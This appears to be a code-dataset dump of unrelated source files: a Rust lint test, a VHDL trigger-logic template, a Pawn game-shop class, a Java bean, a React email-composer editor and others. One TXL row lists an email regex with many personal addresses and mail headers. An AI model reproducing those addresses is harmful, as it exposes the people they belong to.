content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
|---|---|---|---|---|---|
// Check for unused crate dep, no path
// edition:2018
// check-pass
// aux-crate:bar=bar.rs
#![warn(unused_crate_dependencies)]
//~^ WARNING external crate `bar` unused in
fn main() {}
| Rust | 4 | Eric-Arellano/rust | src/test/ui/unused-crate-deps/warn-attr.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
$(header)
------------------------------------------------------------
-- --
-- LOGIC CORE: GTL-9U-module condition/algo chip logic --
-- MODULE NAME: algo_and_or --
-- INSTITUTION: Hephy Vienna --
-- DESIGNER: H. Bergauer --
-- --
-- VERSION: V4.0 --
-- DATE: 06 2004 --
-- --
-- FUNCTIONAL DESCRIPTION: --
-- algo logic (and-or) --
-- --
------------------------------------------------------------
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
ENTITY algo_and_or IS
GENERIC (
nr_ieg_4 : integer := 1;
nr_ieg_2_s : integer := 1;
nr_ieg_2_wsc : integer := 1;
nr_ieg_1_s : integer := 1;
nr_eg_4 : integer := 1;
nr_eg_2_s : integer := 1;
nr_eg_2_wsc : integer := 1;
nr_eg_1_s : integer := 1;
nr_jet_4 : integer := 1;
nr_jet_2_s : integer := 1;
nr_jet_2_wsc : integer := 1;
nr_jet_1_s : integer := 1;
nr_tau_4 : integer := 1;
nr_tau_2_s : integer := 1;
nr_tau_2_wsc : integer := 1;
nr_tau_1_s : integer := 1;
nr_fwdjet_4 : integer := 1;
nr_fwdjet_2_s : integer := 1;
nr_fwdjet_2_wsc : integer := 1;
nr_fwdjet_1_s : integer := 1;
nr_muon_4 : integer := 1;
nr_muon_2_s : integer := 1;
nr_muon_2_wsc : integer := 1;
nr_muon_1_s : integer := 1;
nr_muon_3 : integer := 1;
nr_jet_cnts_0_cond : integer := 1;
nr_jet_cnts_1_cond : integer := 1;
nr_jet_cnts_2_cond : integer := 1;
nr_jet_cnts_3_cond : integer := 1;
nr_jet_cnts_4_cond : integer := 1;
nr_jet_cnts_5_cond : integer := 1;
nr_jet_cnts_6_cond : integer := 1;
nr_jet_cnts_7_cond : integer := 1;
nr_jet_cnts_8_cond : integer := 1;
nr_jet_cnts_9_cond : integer := 1;
nr_jet_cnts_10_cond : integer := 1;
nr_jet_cnts_11_cond : integer := 1;
nr_ett_cond : integer := 1;
nr_etm_cond : integer := 1;
nr_htt_cond : integer := 1);
PORT(
ieg_4 : IN STD_LOGIC_VECTOR(nr_ieg_4 DOWNTO 0);
ieg_2_s : IN STD_LOGIC_VECTOR(nr_ieg_2_s DOWNTO 0);
ieg_2_wsc : IN STD_LOGIC_VECTOR(nr_ieg_2_wsc DOWNTO 0);
ieg_1_s : IN STD_LOGIC_VECTOR(nr_ieg_1_s DOWNTO 0);
eg_4 : IN STD_LOGIC_VECTOR(nr_eg_4 DOWNTO 0);
eg_2_s : IN STD_LOGIC_VECTOR(nr_eg_2_s DOWNTO 0);
eg_2_wsc : IN STD_LOGIC_VECTOR(nr_eg_2_wsc DOWNTO 0);
eg_1_s : IN STD_LOGIC_VECTOR(nr_eg_1_s DOWNTO 0);
jet_4 : IN STD_LOGIC_VECTOR(nr_jet_4 DOWNTO 0);
jet_2_s : IN STD_LOGIC_VECTOR(nr_jet_2_s DOWNTO 0);
jet_2_wsc : IN STD_LOGIC_VECTOR(nr_jet_2_wsc DOWNTO 0);
jet_1_s : IN STD_LOGIC_VECTOR(nr_jet_1_s DOWNTO 0);
tau_4 : IN STD_LOGIC_VECTOR(nr_tau_4 DOWNTO 0);
tau_2_s : IN STD_LOGIC_VECTOR(nr_tau_2_s DOWNTO 0);
tau_2_wsc : IN STD_LOGIC_VECTOR(nr_tau_2_wsc DOWNTO 0);
tau_1_s : IN STD_LOGIC_VECTOR(nr_tau_1_s DOWNTO 0);
fwdjet_4 : IN STD_LOGIC_VECTOR(nr_fwdjet_4 DOWNTO 0);
fwdjet_2_s : IN STD_LOGIC_VECTOR(nr_fwdjet_2_s DOWNTO 0);
fwdjet_2_wsc: IN STD_LOGIC_VECTOR(nr_fwdjet_2_wsc DOWNTO 0);
fwdjet_1_s : IN STD_LOGIC_VECTOR(nr_fwdjet_1_s DOWNTO 0);
muon_4 : IN STD_LOGIC_VECTOR(nr_muon_4 DOWNTO 0);
muon_2_s : IN STD_LOGIC_VECTOR(nr_muon_2_s DOWNTO 0);
muon_2_wsc : IN STD_LOGIC_VECTOR(nr_muon_2_wsc DOWNTO 0);
muon_1_s : IN STD_LOGIC_VECTOR(nr_muon_1_s DOWNTO 0);
muon_3 : IN STD_LOGIC_VECTOR(nr_muon_3 DOWNTO 0);
jet_cnts_0_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_0_cond DOWNTO 0);
jet_cnts_1_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_1_cond DOWNTO 0);
jet_cnts_2_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_2_cond DOWNTO 0);
jet_cnts_3_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_3_cond DOWNTO 0);
jet_cnts_4_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_4_cond DOWNTO 0);
jet_cnts_5_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_5_cond DOWNTO 0);
jet_cnts_6_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_6_cond DOWNTO 0);
jet_cnts_7_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_7_cond DOWNTO 0);
jet_cnts_8_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_8_cond DOWNTO 0);
jet_cnts_9_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_9_cond DOWNTO 0);
jet_cnts_10_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_10_cond DOWNTO 0);
jet_cnts_11_cond: IN STD_LOGIC_VECTOR(nr_jet_cnts_11_cond DOWNTO 0);
ett_cond: IN STD_LOGIC_VECTOR(nr_ett_cond DOWNTO 0);
etm_cond: IN STD_LOGIC_VECTOR(nr_etm_cond DOWNTO 0);
htt_cond: IN STD_LOGIC_VECTOR(nr_htt_cond DOWNTO 0);
algo_s_reg : OUT STD_LOGIC_VECTOR(2 DOWNTO 0);
algo_reg : INOUT STD_LOGIC_VECTOR(95 DOWNTO 0));
END algo_and_or;
ARCHITECTURE rtl OF algo_and_or IS
SIGNAL pre_algo_a : STD_LOGIC_VECTOR(96 DOWNTO 1);
BEGIN
-- "NO ALGO"-bit
ALGO_S_REG(0) <= NOT(
ALGO_REG(0) OR ALGO_REG(1) OR ALGO_REG(2) OR ALGO_REG(3)
OR
ALGO_REG(4) OR ALGO_REG(5) OR ALGO_REG(6) OR ALGO_REG(7)
OR
ALGO_REG(8) OR ALGO_REG(9) OR ALGO_REG(10) OR ALGO_REG(11)
OR
ALGO_REG(12) OR ALGO_REG(13) OR ALGO_REG(14) OR ALGO_REG(15)
OR
ALGO_REG(16) OR ALGO_REG(17) OR ALGO_REG(18) OR ALGO_REG(19)
OR
ALGO_REG(20) OR ALGO_REG(21) OR ALGO_REG(22) OR ALGO_REG(23)
OR
ALGO_REG(24) OR ALGO_REG(25) OR ALGO_REG(26) OR ALGO_REG(27)
OR
ALGO_REG(28) OR ALGO_REG(29) OR ALGO_REG(30) OR ALGO_REG(31));
ALGO_S_REG(1) <= NOT(
ALGO_REG(32) OR ALGO_REG(33) OR ALGO_REG(34) OR ALGO_REG(53)
OR
ALGO_REG(36) OR ALGO_REG(37) OR ALGO_REG(38) OR ALGO_REG(39)
OR
ALGO_REG(40) OR ALGO_REG(41) OR ALGO_REG(42) OR ALGO_REG(43)
OR
ALGO_REG(44) OR ALGO_REG(45) OR ALGO_REG(46) OR ALGO_REG(47)
OR
ALGO_REG(48) OR ALGO_REG(49) OR ALGO_REG(50) OR ALGO_REG(51)
OR
ALGO_REG(52) OR ALGO_REG(53) OR ALGO_REG(54) OR ALGO_REG(55)
OR
ALGO_REG(56) OR ALGO_REG(57) OR ALGO_REG(58) OR ALGO_REG(59)
OR
ALGO_REG(60) OR ALGO_REG(61) OR ALGO_REG(62) OR ALGO_REG(63));
ALGO_S_REG(2) <= NOT(
ALGO_REG(64) OR ALGO_REG(65) OR ALGO_REG(66) OR ALGO_REG(67)
OR
ALGO_REG(68) OR ALGO_REG(69) OR ALGO_REG(70) OR ALGO_REG(71)
OR
ALGO_REG(72) OR ALGO_REG(73) OR ALGO_REG(74) OR ALGO_REG(75)
OR
ALGO_REG(76) OR ALGO_REG(77) OR ALGO_REG(78) OR ALGO_REG(79)
OR
ALGO_REG(80) OR ALGO_REG(81) OR ALGO_REG(82) OR ALGO_REG(83)
OR
ALGO_REG(84) OR ALGO_REG(85) OR ALGO_REG(86) OR ALGO_REG(87)
OR
ALGO_REG(88) OR ALGO_REG(89) OR ALGO_REG(90) OR ALGO_REG(91)
OR
ALGO_REG(92) OR ALGO_REG(93) OR ALGO_REG(94) OR ALGO_REG(95));
-- ***************************************************************
ALGO_REG(95 DOWNTO 0) <= pre_algo_a(96 DOWNTO 1);
$(prealgos)
END ARCHITECTURE rtl;
| VHDL | 3 | ckamtsikis/cmssw | L1TriggerConfig/L1GtConfigProducers/data/VhdlTemplates/Templates/pre_algo_and_or.vhd | [
"Apache-2.0"
] |
-@ import val address: org.eligosource.eventsourced.example.domain.InvoiceAddress
%h3 Address
%table
%tr
%td Name:
%td = address.name
%tr
%td Street:
%td = address.street
%tr
%td City:
%td = address.city
%tr
%td Country:
%td = address.country
| Scaml | 3 | pkeshab/eventsourced-example | src/main/webapp/WEB-INF/org/eligosource/eventsourced/example/web/InvoiceAddress.scaml | [
"Apache-2.0"
] |
'reach 0.1';
'use strict';
export const f =
is(((x) => true),
Fun([UInt], UInt));
| RenderScript | 3 | chikeabuah/reach-lang | hs/t/n/export_ret_ty.rsh | [
"Apache-2.0"
] |
package com.alibaba.fastjson.deserializer.issues3796.bean;
public class ObjectA {
private static final String NULL = "NULL";
private String a = NULL;
private String b = NULL;
private String c = NULL;
private String d = NULL;
private String e = NULL;
private int f;
private int g;
private float h;
private String i = NULL;
private int j;
private String k = NULL;
private String l = NULL;
private String m = NULL;
private int n = 1;
private String o = NULL;
private String p = NULL;
private int q;
private int r;
private String s = "NULL";
private String t = "NULL";
private String u = "NULL";
private String v = "NULL";
public static String getNULL() {
return NULL;
}
public String getA() {
return a;
}
public void setA(String a) {
this.a = a;
}
public String getB() {
return b;
}
public void setB(String b) {
this.b = b;
}
public String getC() {
return c;
}
public void setC(String c) {
this.c = c;
}
public String getD() {
return d;
}
public void setD(String d) {
this.d = d;
}
public String getE() {
return e;
}
public void setE(String e) {
this.e = e;
}
public int getF() {
return f;
}
public void setF(int f) {
this.f = f;
}
public int getG() {
return g;
}
public void setG(int g) {
this.g = g;
}
public float getH() {
return h;
}
public void setH(float h) {
this.h = h;
}
public String getI() {
return i;
}
public void setI(String i) {
this.i = i;
}
public int getJ() {
return j;
}
public void setJ(int j) {
this.j = j;
}
public String getK() {
return k;
}
public void setK(String k) {
this.k = k;
}
public String getL() {
return l;
}
public void setL(String l) {
this.l = l;
}
public String getM() {
return m;
}
public void setM(String m) {
this.m = m;
}
public int getN() {
return n;
}
public void setN(int n) {
this.n = n;
}
public String getO() {
return o;
}
public void setO(String o) {
this.o = o;
}
public String getP() {
return p;
}
public void setP(String p) {
this.p = p;
}
public int getQ() {
return q;
}
public void setQ(int q) {
this.q = q;
}
public int getR() {
return r;
}
public void setR(int r) {
this.r = r;
}
public String getS() {
return s;
}
public void setS(String s) {
this.s = s;
}
public String getT() {
return t;
}
public void setT(String t) {
this.t = t;
}
public String getU() {
return u;
}
public void setU(String u) {
this.u = u;
}
public String getV() {
return v;
}
public void setV(String v) {
this.v = v;
}
}
| Java | 3 | Alanwang2015/fastjson | src/test/java/com/alibaba/fastjson/deserializer/issues3796/bean/ObjectA.java | [
"Apache-2.0"
] |
// Copyright 2006-2015 Las Venturas Playground. All rights reserved.
// Use of this source code is governed by the GPLv2 license, a copy of which can
// be found in the LICENSE file.
/**
* The Ammunation class handles every Ammunation shop in San Andreas and their details.
*
* @author Manuele "Kase" Macchia <[email protected]>
*/
class Ammunation <shopId (AmmunationManager::MaximumAmmunationShops)> {
// Which pickup handler Id should be used for ammunation shops?
public const AmmunationPickupHandlerId = @counter(PickupHandler);
// Uninitialized ammunation Ids have no pickup and we need a constant to identify them, as
// pickups are zero-based which could cause false positives.
const InvalidPickupId = -1;
// What is this shop called?
new m_shopName[64];
// Where's the actual shop location?
new Float: m_shopLocation[3],
Float: m_shopLocationRotation,
m_shopLocationInteriorId;
// Where's the spawn-weapon pickup located in the Ammunation shop interior?
new Float: m_pickupLocation[3];
// Ammunation weapon pickup Id.
new m_pickupId;
// What's the price modifier of this shop? This is based on proximity to large urban areas.
new Float: m_priceModifier;
// Base price of full armour in this shop.
new m_armourPrice;
// Which weapons (expressed in GTA weapon Ids) are available in this Ammunation?
new m_availableWeapon[AmmunationManager::MaximumWeaponsPerAmmunation];
// How many regular weapons are available in this Ammunation shop?
new m_availableWeaponCount;
// How many spawn-weapons are available in this Ammunation shop?
new m_availableSpawnWeaponCount;
/**
* Before ammunations have been created per the JSON file, we need to be sure that their pickup
* Id gets set to the invalid ID constant. Otherwise, other pickups (with Id 0) could be seen
* as ammunations, triggering this dialog.
*/
public __construct() {
m_pickupId = InvalidPickupId;
}
/**
* Fetch the Ammunation shop details on the shop name, the entrance, the actual location,
* the price modifier, the available weapons and the guards from the given JSON node, and
* then set them if they're valid.
*
* Also, create the Ammunation skull pickup which, when walked through, displays the
* weapon dialog to let players buy their (spawn-)weapons.
*
* @param ammunationShop JSON node to the Ammunation shop object.
*/
public addShop(Node: ammunationShop) {
// Ammunation shop's name
new Node: ammunationNameNode = JSON->find(ammunationShop, "name");
if (ammunationNameNode == JSON::InvalidNode || JSON->getType(ammunationNameNode) != JSONString)
return;
JSON->readString(ammunationNameNode, m_shopName, sizeof(m_shopName));
// Ammunation shop's location coordinates
new Node: ammunationLocationNode = JSON->find(ammunationShop, "location"),
Node: ammunationLocationSetting = JSON->firstChild(ammunationLocationNode);
JSON->readFloat(ammunationLocationSetting, m_shopLocation[0]); // Coordinate X
ammunationLocationSetting = JSON->next(ammunationLocationSetting);
JSON->readFloat(ammunationLocationSetting, m_shopLocation[1]); // Coordinate Y
ammunationLocationSetting = JSON->next(ammunationLocationSetting);
JSON->readFloat(ammunationLocationSetting, m_shopLocation[2]); // Coordinate Z
ammunationLocationSetting = JSON->next(ammunationLocationSetting);
JSON->readFloat(ammunationLocationSetting, m_shopLocationRotation); // Rotation
ammunationLocationSetting = JSON->next(ammunationLocationSetting);
JSON->readInteger(ammunationLocationSetting, m_shopLocationInteriorId); // Interior ID
if (ammunationLocationSetting == JSON::InvalidNode || JSON->getType(ammunationLocationSetting) != JSONInteger)
return;
// Spawn-weapon pickup location coordinates
new Node: ammunationSpawnWeaponPickupLocationNode = JSON->find(ammunationShop, "spawnweapon_pickup_location"),
Node: ammunationSpawnWeaponPickupLocationSetting = JSON->firstChild(ammunationSpawnWeaponPickupLocationNode);
JSON->readFloat(ammunationSpawnWeaponPickupLocationSetting, m_pickupLocation[0]); // Coordinate X
ammunationSpawnWeaponPickupLocationSetting = JSON->next(ammunationSpawnWeaponPickupLocationSetting);
JSON->readFloat(ammunationSpawnWeaponPickupLocationSetting, m_pickupLocation[1]); // Coordinate Y
ammunationSpawnWeaponPickupLocationSetting = JSON->next(ammunationSpawnWeaponPickupLocationSetting);
JSON->readFloat(ammunationSpawnWeaponPickupLocationSetting, m_pickupLocation[2]); // Coordinate Z
if (ammunationSpawnWeaponPickupLocationSetting == JSON::InvalidNode || JSON->getType(ammunationSpawnWeaponPickupLocationSetting) != JSONFloat)
return;
// Price modifier
new Node: ammunationPriceModifierNode = JSON->find(ammunationShop, "price_modifier");
if (ammunationPriceModifierNode == JSON::InvalidNode || JSON->getType(ammunationPriceModifierNode) != JSONFloat)
return;
JSON->readFloat(ammunationPriceModifierNode, m_priceModifier);
// Weapons
new Node: ammunationWeaponsNode = JSON->find(ammunationShop, "weapons");
m_availableWeaponCount = 0;
m_availableSpawnWeaponCount = 0;
new gtaWeaponId;
for (new Node: currentWeapon = JSON->firstChild(ammunationWeaponsNode); currentWeapon != JSON::InvalidNode; currentWeapon = JSON->next(currentWeapon)) {
if (m_availableWeaponCount >= AmmunationManager::MaximumWeaponsPerAmmunation)
break;
JSON->readInteger(currentWeapon, m_availableWeapon[m_availableWeaponCount]);
gtaWeaponId = m_availableWeapon[m_availableWeaponCount];
if (AmmunationWeapon(gtaWeaponId)->isAvailableAsSpawnWeapon())
++m_availableSpawnWeaponCount;
++m_availableWeaponCount;
}
// Armour base price
new Node: ammunationArmourPriceNode = JSON->find(ammunationShop, "armour_price");
if (ammunationArmourPriceNode == JSON::InvalidNode || JSON->getType(ammunationArmourPriceNode) != JSONInteger)
return;
JSON->readInteger(ammunationArmourPriceNode, m_armourPrice);
/// @todo(Kase): Implement guards.
PickupController->createPickup(Ammunation::AmmunationPickupHandlerId, AmmunationSkullPickupId,
PersistentPickupType, m_pickupLocation[0], m_pickupLocation[1], m_pickupLocation[2], -1, shopId);
}
/**
* Retrieve a list of available spawn weapons in this Ammunation shop and fills in an array.
*
* @param weapons Array we're filling.
* @param sizeofWeapons Size of the array we're filling.
* @return integer Available weapon count.
*/
public getAvailableSpawnWeaponList(weapons[], sizeofWeapons) {
new count = 0, availableWeapon;
for (new weaponIndex; weaponIndex < sizeofWeapons; ++weaponIndex) {
if (weaponIndex >= AmmunationManager::MaximumWeaponsPerAmmunation)
break;
availableWeapon = m_availableWeapon[weaponIndex];
if (!availableWeapon || !AmmunationWeapon(availableWeapon)->isAvailableAsSpawnWeapon())
continue;
weapons[count] = m_availableWeapon[weaponIndex];
++count;
}
return count;
}
/**
* Picking up the Ammunation skull pickup calls an AmmunationDialog method which shows the player
* a dialog; it is the first step of the weapon buying process.
*
* If the player is already through the weapon buying process (thus most likely standing still near
* the Ammunation skull pickup) he shouldn't trigger any dialog.
*
* @param playerId Player Id we're showing the dialog to.
* @param pickupId Ammunation skull pickup Id.
* @param ammunationId The ammunation to which this pickup belongs.
*/
@switch(OnPlayerEnterPickup, Ammunation::AmmunationPickupHandlerId)
public static onPlayerPickUpAmmunationPickup(playerId, pickupId, ammunationId) {
if (AmmunationDialog->shouldDialogBeOpenedForPlayer(playerId) == false)
return 0;
AmmunationDialog->showWeaponTypeSelectionDialogToPlayer(playerId, ammunationId);
return 1;
#pragma unused pickupId
}
/// @todo(Russell): Fix the PreCompiler so the following methods can be defined as inline.
/**
* Retrieve the number of regular weapons available in this Ammunation.
*
* @return integer Available regular weapon count.
*/
public availableWeaponCount() {
return (m_availableWeaponCount);
}
/**
* Retrieve the number of spawn-weapons available in this Ammunation.
*
* @return integer Available spawn-weapon count.
*/
public availableSpawnWeaponCount() {
return (m_availableSpawnWeaponCount);
}
/**
* Retrieve the GTA Id of a weapon available in this Ammunation shop.
*
* @param weaponIndex Index of the array of available weapons.
* @return integer GTA Id of the weapon.
*/
public availableWeapon(weaponIndex) {
return (m_availableWeapon[weaponIndex]);
}
/**
* Retrieves the base price of the armour.
*
* @return integer Armour base price.
*/
public armourPrice() {
return (m_armourPrice);
}
}
| PAWN | 5 | EPIC-striker/playground | pawn/Features/Deathmatch/Ammunation/Ammunation.pwn | [
"MIT"
] |
$(OBJDIR)/util.cmi: $(OBJDIR)/pretty.cmi $(OBJDIR)/inthash.cmi
| D | 0 | heechul/crest-z3 | cil/obj/.depend/util.di | [
"BSD-3-Clause"
] |
(\W|.)[^.]\<o[\w.\-]*+@[\w.\-]+\.[a-z]{2,6}
34
To: [email protected]
To: [email protected]
[email protected]
Message-ID: <[email protected]>
O'Rourke'"" <[email protected]>, ""'Kawamoto, Wayne'""
[email protected]
blank e-mail to [email protected]
Sender: [email protected]
From: [email protected]
X-From: [email protected]
Sender: [email protected]
To: [email protected]
[email protected]
Message-ID: <[email protected]>
O'Rourke'"" <[email protected]>, ""'Kawamoto, Wayne'""
From: [email protected]
From: [email protected]
you prefer not to receive emails of this nature please send an email to rem=
From: [email protected]
X-From: ""Charles Schwab & Co., Inc."" <[email protected]>@ENRON
[email protected], [email protected], [email protected],
From: [email protected]
X-From: Open2Win List Services<[email protected]>@ENRON
From: [email protected]
X-From: ""Cellular Oportunity"" <[email protected]>@ENRON
[email protected]
blank e-mail to [email protected]
From: [email protected]
X-From: [email protected]
Sender: [email protected]
O'Rourke'"" <[email protected]>, ""'Kawamoto, Wayne'""
Sender: [email protected]
Message-ID: <[email protected]>
[email protected]
| TXL | 1 | smola/language-dataset | data/github.com/arinabondarenko/DL_homework_2/dbfde3172fc647e1d00d73a31aa0a26e59558c2a/task_2.txl | [
"MIT"
] |
package
@A public fun test(): kotlin.Unit
@kotlin.annotation.Target(allowedTargets = {AnnotationTarget.PROPERTY, AnnotationTarget.FUNCTION, AnnotationTarget.TYPE, AnnotationTarget.LOCAL_VARIABLE}) public final annotation class A : kotlin.Annotation {
public constructor A()
public open override /*1*/ /*fake_override*/ fun equals(/*0*/ other: kotlin.Any?): kotlin.Boolean
public open override /*1*/ /*fake_override*/ fun hashCode(): kotlin.Int
public open override /*1*/ /*fake_override*/ fun toString(): kotlin.String
}
| Text | 3 | Mu-L/kotlin | compiler/testData/diagnostics/tests/annotations/rendering/unusedValue.txt | [
"ECL-2.0",
"Apache-2.0"
] |
#### SJIter1
ClearAll(f,x,i)
T Table(x,[0]) == []
T Table(x,[3]) == [x,x,x]
#### SJIter2
T Table(i,[i,3]) == [1,2,3]
T Table( i, [i, Range(10)]) == Range(10)
T Table(a(i^2),[i,3]) == [a(1),a(4),a(9)]
a(9) := "zebra"
a(x_) := x + 1
T Table(a(i^2),[i,4]) == [2,5,"zebra",17]
# Tests two bug fixes
T Table(x^n+2*x,[n,3]) == [3*x,2*x + x^2,2*x + x^3]
T Table(x^i + x*i + 1,[i,5]) == [1 + 2*x,1 + 2*x + x^2,1 + 3*x + x^3,1 + 4*x + x^4,1 + 5*x + x^5]
T Table(Table( i * j , [i,3]), [j,3]) == [[1,2,3],[2,4,6],[3,6,9]]
T Table( f(i,j) , [i,3], [j,4]) == Table(Table( f(i,j) , [j,4]), [i,3])
T Table(i + j - 1, [i, 4], [j, i]) == [[1],[2,3],[3,4,5],[4,5,6,7]]
## Dynamic scope for iteration variable
ClearAll(y,n,g)
g(y_) := y + n + 1
T Table(g(n), [n,3]) == [3,5,7]
n = 8
T Table(g(n), [n,3]) == [3,5,7]
T n == 8
ClearAll(y,n,g)
# FIXME Does not work
# Table( zz(x), [zz(x), 5])
###### SJIter3
T Table(i, [i,4,8]) == [4,5,6,7,8]
###### SJIter4
T Table(f(i), [i, 1, 8, 2]) == [f(1),f(3),f(5),f(7)]
T Table(f(i), [i, 10, -5, -2]) == [f(10),f(8),f(6),f(4),f(2),f(0),f(-2),f(-4)]
## Symbolic increment
## FIXME: v0.6 broken
#T Table(2^x + x, [x, a, a + 5 *n, n]) == [2^a + a,2^(a + n) + a + n,2^(a + 2n) + a + 2n,2^(a + 3n) + a + 3n,2^(a + 4n) + a + 4n,2^(a + 5n) + a + 5n]
####### SJIterList
ClearAll(p,z,i)
p = 1
z := Increment(p)
T Table(i, [i, [z,z,z]]) == [1,2,3]
T Table(i^2, [i, [a+b,c,d]]) == [(a + b)^2,c^2,d^2]
T Table(Nothing,[10]) == []
ClearAll(it)
it = [i,3]
T Table( i^2 , Evaluate(it)) == [1,4,9]
ClearAll(it)
ClearAll(x,y,a,b,c,d,m,p,z,f,j)
ClearAll(a,b,c,d,f,ex)
| Objective-J | 4 | UnofficialJuliaMirrorSnapshots/Symata.jl-a906b1d5-d016-55c4-aab3-8a20cba0db2a | symata_test/ntable_test.sj | [
"MIT"
] |
import React, {Component, PropTypes} from 'react';
import {ExtensionRegistry, DOMUtils} from 'nylas-exports';
import {DropZone, ScrollRegion, Contenteditable} from 'nylas-component-kit';
/**
* Renders the text editor for the composer
* Any component registering in the ComponentRegistry with the role
* 'Composer:Editor' will receive these set of props.
*
* In order for the Composer to work correctly and have a complete set of
* functionality (like file pasting), any registered editor *must* call the
* provided callbacks at the appropriate time.
*
* @param {object} props - props for ComposerEditor
* @param {string} props.body - Html string with the draft content to be
* rendered by the editor
* @param {string} props.draftClientId - Id of the draft being currently edited
* @param {object} props.parentActions - Object containg helper actions
* associated with the parent container
* @param {props.parentActions.getComposerBoundingRect} props.parentActions.getComposerBoundingRect
* @param {props.parentActions.scrollTo} props.parentActions.scrollTo
* @param {props.onFilePaste} props.onFilePaste
* @param {props.onBodyChanged} props.onBodyChanged
* @class ComposerEditor
*/
const NODE_END = false;
const NODE_BEGINNING = true;
class ComposerEditor extends Component {
static displayName = 'ComposerEditor';
/**
* This function will return the {DOMRect} for the parent component
* @function
* @name props.parentActions.getComposerBoundingRect
*/
/**
* This function will make the screen scrollTo the desired position in the
* message list
* @function
* @name props.parentActions.scrollTo
* @param {object} options
* @param {string} options.clientId - Id of the message we want to scroll to
* @param {string} [options.positon] - If clientId is provided, this optional
* parameter will indicate what position of the message to scrollTo. See
* {ScrollRegion}
* @param {DOMRect} options.rect - Bounding rect we want to scroll to
*/
/**
* This function should be called when the user pastes a file into the editing
* region
* @callback props.onFilePaste
*/
/**
* This function should be called when the body of the draft changes, i.e.
* when the editor is being typed into. It should pass in an object that looks
* like a DOM Event with the current value of the content.
* @callback props.onBodyChanged
* @param {object} event - DOMEvent-like object that contains information
* about the current value of the body
* @param {string} event.target.value - HTML string that represents the
* current content of the editor body
*/
static propTypes = {
body: PropTypes.string.isRequired,
draftClientId: PropTypes.string,
onFilePaste: PropTypes.func,
onBodyChanged: PropTypes.func,
parentActions: PropTypes.shape({
scrollTo: PropTypes.func,
getComposerBoundingRect: PropTypes.func,
}),
};
constructor(props) {
super(props);
this.state = {
extensions: ExtensionRegistry.Composer.extensions(),
};
}
componentDidMount() {
this.unsub = ExtensionRegistry.Composer.listen(this._onExtensionsChanged);
}
componentWillUnmount() {
this.unsub();
}
// Public methods
// TODO Get rid of these selection methods
getCurrentSelection() {
return this.refs.contenteditable.getCurrentSelection();
}
getPreviousSelection() {
return this.refs.contenteditable.getPreviousSelection();
}
setSelection(selection) {
this.refs.contenteditable.setSelection(selection);
}
focus() {
// focus the composer and place the insertion point at the last text node of
// the body. Be sure to choose the last node /above/ the signature and any
// quoted text that is visible. (as in forwarded messages.)
//
this.refs.contenteditable.atomicEdit(({editor}) => {
editor.rootNode.focus();
const lastNode = this._findLastNodeBeforeQuoteOrSignature(editor)
if (lastNode) {
this._selectNode(lastNode, {collapseTo: NODE_END});
} else {
this._selectNode(editor.rootNode, {collapseTo: NODE_BEGINNING});
}
});
}
focusAbsoluteEnd() {
this.refs.contenteditable.atomicEdit(({editor}) => {
editor.rootNode.focus();
this._selectNode(editor.rootNode, {collapseTo: NODE_END});
});
}
// Note: This method returns null for new drafts, because the leading
// <br> tags contain no text nodes.
_findLastNodeBeforeQuoteOrSignature(editor) {
const walker = document.createTreeWalker(editor.rootNode, NodeFilter.SHOW_TEXT);
const nodesBelowUserBody = editor.rootNode.querySelectorAll('signature, .gmail_quote, blockquote');
let lastNode = null;
let node = walker.nextNode();
while (node != null) {
let belowUserBody = false;
for (let i = 0; i < nodesBelowUserBody.length; ++i) {
if (nodesBelowUserBody[i].contains(node)) {
belowUserBody = true;
break;
}
}
if (belowUserBody) {
break;
}
lastNode = node;
node = walker.nextNode();
}
return lastNode
}
_selectNode(node, {collapseTo} = {}) {
const range = document.createRange();
range.selectNodeContents(node);
range.collapse(collapseTo);
const selection = window.getSelection();
selection.removeAllRanges();
selection.addRange(range);
}
/**
* @private
* This method was included so that the tests don't break
* TODO refactor the tests!
*/
_onDOMMutated(mutations) {
this.refs.contenteditable._onDOMMutated(mutations);
}
_onDrop = (event) => {
this.refs.contenteditable._onDrop(event)
}
_onDragOver = (event) => {
this.refs.contenteditable._onDragOver(event)
}
_shouldAcceptDrop = (event) => {
return this.refs.contenteditable._shouldAcceptDrop(event)
}
// Helpers
_scrollToBottom = () => {
this.props.parentActions.scrollTo({
clientId: this.props.draftClientId,
position: ScrollRegion.ScrollPosition.Bottom,
});
};
/**
* @private
* If the bottom of the container we're scrolling to is really far away
* from the contenteditable and your scroll position, we don't want to
* jump away. This can commonly happen if the composer has a very tall
* image attachment. The "send" button may be 1000px away from the bottom
* of the contenteditable. props.parentActions.scrollToBottom moves to the bottom of
* the "send" button.
*/
_bottomIsNearby = (editableNode) => {
const parentRect = this.props.parentActions.getComposerBoundingRect();
const selfRect = editableNode.getBoundingClientRect();
return Math.abs(parentRect.bottom - selfRect.bottom) <= 250;
};
/**
* @private
* As you're typing a lot of content and the cursor begins to scroll off
* to the bottom, we want to make it look like we're tracking your
* typing.
*/
_shouldScrollToBottom(selection, editableNode) {
return (
this.props.parentActions.scrollTo != null &&
DOMUtils.atEndOfContent(selection, editableNode) &&
this._bottomIsNearby(editableNode)
);
}
/**
* @private
* When the selectionState gets set (e.g. undo-ing and
* redo-ing) we need to make sure it's visible to the user.
*
* Unfortunately, we can't use the native `scrollIntoView` because it
* naively scrolls the whole window and doesn't know not to scroll if
* it's already in view. There's a new native method called
* `scrollIntoViewIfNeeded`, but this only works when the scroll
* container is a direct parent of the requested element. In this case
* the scroll container may be many levels up.
*/
_ensureSelectionVisible = (selection, editableNode) => {
// If our parent supports scroll, check for that
if (this._shouldScrollToBottom(selection, editableNode)) {
this._scrollToBottom();
} else if (this.props.parentActions.scrollTo != null) {
// Don't bother computing client rects if no scroll method has been provided
